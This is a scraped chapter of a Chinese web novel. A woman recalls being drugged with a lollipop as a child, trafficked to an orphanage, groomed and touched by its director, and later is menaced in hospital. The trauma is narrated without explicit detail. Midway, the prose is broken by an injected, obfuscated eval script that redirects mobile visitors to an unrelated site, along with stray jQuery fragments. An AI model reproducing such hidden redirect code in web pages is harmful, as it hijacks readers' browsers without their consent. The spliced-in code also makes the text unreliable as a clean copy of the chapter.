默认冷灰
24号文字
方正启体

13. 躺好

作者:忙岁本书字数:K更新时间:
    谢时依双眼紧闭,意识抽离,感觉自己睡了尤为冗长的一觉。


    梦中光怪陆离,几番跳跃,聚焦到一个四五岁的小女孩。


    与她才陪玩过的福利院孩子们差不多年纪。


    小女孩婴儿肥明显,唇红齿白,双眸圆润灵动,扎两条粗实的麻花辫,衣着漂亮精致的公主裙,谁见了都要夸一句可爱,美人胚子。


    她出生在西南地界,一个双职工的小康家庭,拥有极其疼爱她的父母。


    一家子全部围绕她转,时常用棒棒糖逗着她喊“常欢常欢”。


    奈何好景不长。


    一年春节,恰逢她七岁生日,父母带她去隔壁城市看灯会。


    现场人满为患,摩肩擦踵,头顶广播隔一段时间就在播“广播找人”,寻找不小心走丢的孩子。


    好死不死,小女孩也和父母走丢了。


    那个年代,压根不存在小孩子必备的电话手表,小女孩身上没有一件可以联系到父母的物件,孤零零置身于人头攒动,全然陌生的角落,踮起脚尖举目四望也望不见熟悉的身影,禁不住放声哭起来。


    她惊慌失措,在大人中央四处乱窜,一面哭一面喊爸爸妈妈。


    不多时,一个长得漂亮可亲,衣着靓丽的姐姐走来,弓腰询问:“小妹妹,和爸爸妈妈走丢了吗?”


    小女孩被父母教过一些防范意识,睁大水雾氤氲的眼睛望着她,确定不认识以后,绕开她要走。


    姐姐却拉住她瘦弱的胳膊,热心地说:“可以去广播站,让叔叔阿姨帮忙放一则广播,爸爸妈妈听见了,会去接你的。”


    刚好全场又飘过了一则广播找人,小女孩直直望向声音来源,燃起一丝希望,下一秒又被猛地浇灭。


    “呜呜呜我不知道广播站在哪里。”她哭着说。


    “我知道啊。”姐姐揉揉她小脑袋,真诚地问,“姐姐带你去,好不好?”


    小女孩朦朦胧胧看她那张眉目如画,跟动画片里的仙女差不多的脸蛋,莫名很有好感。


    仙女都是人美心善的好人。


    小女孩懵懵然点头,抽抽搭搭地说:“谢谢姐姐。”


    “不客气。”姐姐温柔地擦干净她脸上的泪痕,一把抱起她,还变戏法似地找出了一根棒棒糖,“吃吧,吃完了爸爸妈妈就来了。”


    小女孩从小都是被爸爸妈妈用棒棒糖哄的,特别喜欢,嘴馋地立即撕开了包装。


    糖果的味道大同小异,照旧能使她心生甜蜜欢喜,但年幼的她哪里知道,这根棒棒糖仿佛被动画片里的女巫施加了诅咒魔法。


    她没舔几口就眼皮打架,趴在姐姐香气馥郁的肩头,沉沉睡了过去。


    安稳漫长的一觉醒来,小女孩被带到了一个千里之外的陌生城市,身处一家福利院。


    里面除去一些先天不全的,都是被各种理由,从全国各地拐来的孩子,最小的才出生没几天,最大的也不过十来岁。


    年龄稍微大些,知晓世事的哭着嚷着要回家。


    等待这些吵闹孩子的是凶恶大人的棍棒交加,拳打脚踢,直至所有人缩去角落瑟瑟发抖,再也没有谁敢吱声。


    孩子们一进去就接受了残酷的选拔,生得乖巧伶俐,可塑性较强的一批被送往地下室,接受专人教导。


    其貌不扬,手脚不全,或者智力有问题的则被留在上面,应付检查,也做日常杂活。


    当然,被送去地下的那一批要是不听话,也可以打断手脚,成为地上的孩子。


    小女孩长相太过可爱讨喜,抵达的第一天便被送去了地下。


    用一根棒棒糖将她拐来的仙女姐姐也出现在了这里。


    她揉着小女孩毛茸茸的脑袋,满目爱怜,感谢地说:“我这次带了你回来,院长很高兴,允许我留在这里教你们了。”


    自此以后,她教导她们各种礼仪,示范如何当一个叫人眼前一亮的名媛,以及手把手指导怎样讨男人欢心。


    她们一不听话,似水柔情的姐姐便会大变模样,面目扭曲狰狞,使劲儿甩鞭子抽打。


    小女孩一开始万分抵触,恨着一口气不肯配合,被打得最惨。


    可她五官生得过于精巧,一颦一笑我见犹怜,姐姐对她抱有无限期待,每次泄愤打完都会让人给她涂抹最好的特制药膏,确保不会留疤。


    不知道从哪一天开始,院长经常来地下室视察,他总会站在小女孩所在房间的门前,专注凝望她训练挺胸抬臀,淑女仪态。


    偶尔,院长会冲她招手,带着比记忆中的父亲还要和善亲近的笑,温和地唤:“过来,让晋爸爸看看你是不是又长高了。”


    只要小女孩一过去,他宽大的手掌就会覆上她后背,将人从后往前,牢牢按到身上,用自己日渐松弛的身体丈量她徐徐丰盈的高度。


    梦中,那只干黄的大手又要探来,谢时依平稳的梦境骤然狂风大作,地动山摇。


    她两弯峨眉皱成川字,拼命摇晃脑袋躲闪,额头上的冷汗渗出了一层又一层。


    留守在病床旁边的云祈见状,反射性去扯纸巾,起身擦拭那些密密麻麻的汗渍。


    汗是很快擦干了,可她的眉头越蹙越紧,神色也是一眼可见的愁苦煎熬,睡得难安,不知道梦到了什么恐怖事件。


    云祈丢掉浸湿的纸巾,瞧着她痛苦难耐的模样,垂落的指尖捻了捻。


    他下意识站近一步,伸出手,想要去抚平她眉头。


    那般如同精描细画的山水墨卷,清雅出尘的眉眼怎么能够皱成一团?


    太碍眼了。


    然而云祈温热的指尖方才触及到她,她像是被尖针利刺狠狠扎过一般,猛然掀开眼帘瞪圆双瞳。


    并伴随一声绝不仅有,撕心裂肺的大叫:“不要!”


    惊恐万状溢于言表。


    云祈距离病床半步不到,此刻又是略微弓腰,低垂眼眸,一瞬不瞬直视她的状态,猝不及防和惊醒的她对撞视线,看清她自眼底涌现的恐慌,一时有些手足无措。


    谢时依刚刚从骇人噩梦中挣扎过来,瞳仁涣散,怔怔反应了片刻,缓慢转动眼珠,聚焦到悬于上空的一张英挺面庞。


    云祈心脏突兀地跳快了一拍,讪讪收回手,赶忙坐回原处,薄唇轻轻抿动两下,没有出声。


    似是思绪混杂,一时不知道如何开口。


    谢时依偏转脑袋,一点点打量四周,发觉身处医院,吸气两口全是刺鼻的消毒水味。


    她右手被平放在病床上,正在输液。


    她又调转眸光,望向房间里面唯一一个人。


    细致回顾了好半晌,谢时依才敢确定,她在爱之家福利院晕过去的刹那,是面前这个男生竭力跑过来,不由分说接住了她。


    云祈本就不太自在,被她用迷糊却依旧剔透的双眼笔直注视,更加别扭,仿佛有成千上万根羽毛细细拂过每一寸肌肤。


    不是酷刑胜似酷刑。


    云祈避开目光,尽量不和她对视,挑起话题问:“怎么晕了?”


    谢时依嗓子干涸,开口带了点儿哑:“你没问他吗?”


    一听她声音,云祈不自觉拧动眉头,起身倒了一杯温水。


    他伸长手臂就想递过去,可是看见她不顾输液的右手,执意要蹭起来坐着时,他莫名不快,收回手,凶巴巴呵道:“瞎动什么,躺好。”


    谢时依有被小小的吓到,立时不敢乱动。


    云祈放下水杯出去一趟,回来时手中多了一根吸管。


    许是向护士讨要的。


    云祈将吸管丢入水杯,再递去她唇边。


    谢时依张嘴就能吸到。


    盯着她乖乖喝了两口,云祈慢悠悠回先前的问题:“问了,他说他也不清楚,估计你很不舒服。”


    云祈知道她问的是晋安雄,当时那片开阔区域只有他们两个。


    温度适中的白开水润过喉咙,谢时依嗓子舒适不少,她点点下巴,没有遮掩地说:“看见他不舒服。”


    云祈拿开水杯,较为费解:“晋叔人很好。”


    “很好?”谢时依精准反问,“没有经过你的同意,喊来了那么多记者,这叫很好?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501279|170351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    云祈也恼火这一点,但大人们免不了虚伪的一面,他无法苟同,却不能就此将人全盘否定:“除此之外。”


    晋安雄待他确实没得话说,他小时候半夜突然高烧不退,云海山又在外地出差,是晋安雄连夜赶来家中,让保姆和私人医生先去休息,他一个人不辞辛劳,衣不解带地守了一整夜。


    谢时依扯动几乎不见血色的唇角,冷冷嗤笑一声。


    云祈平时见到的她不是含羞带怯,就是诚惶诚恐,从未想过如此凉薄冷酷的表情会出现在她干净无害,一派懵懂单纯的脸上。


    他不确定有没有眼花,定睛想要再看一眼。


    然而谢时依脸色忽地又变,浅茶色的瞳仁翻出波澜,惊浪滚滚。


    她看见斜后方房门上镶嵌的一块玻璃处陡然出现了一张人脸。


    板寸,五官冷厉,一道断眉戾气横生。


    是宋一。


    刹那间,谢时依喉咙像是又被强劲扼制,呼吸急促,双眼鼓得浑圆。


    “你看什么?”云祈追上她发直的视线,要偏头去望。


    谢时依慌张喊住他:“我,我饿了。”


    云祈愣了下,挪开些许的目光定回她身上:“所以?”


    “你去给我买点。”谢时依一鼓作气地说。


    云祈被她自然而然,吩咐起人来毫不客气的态度逗乐了,没好脾气地问:“把我当跑腿的?”


    “不要甜口的,谢谢。”谢时依心脏突突乱蹦,唯恐宋一直接闯入。


    云祈吩咐陆方池他们几个吩咐惯了,这还是第一次被人吩咐,尤其对方还是个女生。


    他一句“我欠你的?”滚到嘴边,可是对上她那双无辜闪烁,叫人难以抗拒的眼瞳,莫名其妙觉得自己当真是欠了她的。


    云祈暗骂一句,无可奈何蹭起身:“等着。”


    不出所料,云祈前脚刚走,宋一后脚就进来了。


    他脸色一直显得有几分病态的苍白,淡色的唇瓣勾了一抹若有若无的弧度,走路声响特轻,鬼飘一样。


    谢时依本能地浮出惧意,挣扎着要往更远的一侧床沿缩。


    宋一大步走去那边,微微弯腰,隔着被子扼住她一条柔若无骨的胳膊,阻止她的又一次挪动。


    “我来都来了,你还能往哪里躲?”宋一眼尾挂一抹瘆人的阴笑,看傻子一样地看她。


    谢时依整条胳膊仿若被剧毒凶兽咬过,刺激的麻意封冻尽数感知。


    “真是个小可怜,”宋一似是嫌弃她没有二两肉的胳膊硌手,缓缓松开,给她掖了掖被角,“回去了一趟就把自己搞成这幅半死不活的鬼样子,那里有这么可怕吗?”


    “可不可怕你心里没数吗?”谢时依深深呼吸一大口,费力挤出,“你为什么很少再回去?”


    宋一脸上的薄笑僵了一瞬。


    “不知道你回去的反应这样精彩,”倏忽,宋一轻笑出声,站直身子,指尖去碰纤细的输液管,饶有兴味地凝神研究,“早知道早点带你回去。”


    谢时依直直盯向被他拨弄得摇摇晃晃的输液管,好似只要她再敢乱吱一声,他就会用力掐断。


    命门再度被他堂而皇之地把控到手里,谢时依憋闷又窝火,她狠狠一咬牙,干脆利落地拔了输液针。


    宋一不免错愕,面色森然,探向输液管的手指微不可查地晃了下。


    不过须臾,他瞅向她冷白手背上,那个抽出输液针的地方汩汩渗出鲜红血液,他阴沉下去的神色顿时高涨,嘴角抑制不住地扯开,兴奋地笔直注视。


    好似恨不得那些血液能再多一些,榨干躯体,汇成血海,让他能够纵身跃入。


    谢时依赶快扯过几张纸巾,胡乱按住手背上的针眼,遮盖血痕,感觉云祈快回来了,冰凉催促:“你还不走吗?”


    “我专程跑来看你的,你不走,我怎么能走呢?”宋一用脚尖勾来一张椅子,一屁股坐下,直勾勾盯住她指缝间,正在改色的纸巾不放。


    偏在这个时候,房门被人从外面推开,高大身影携带浓郁的饭菜香味而来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)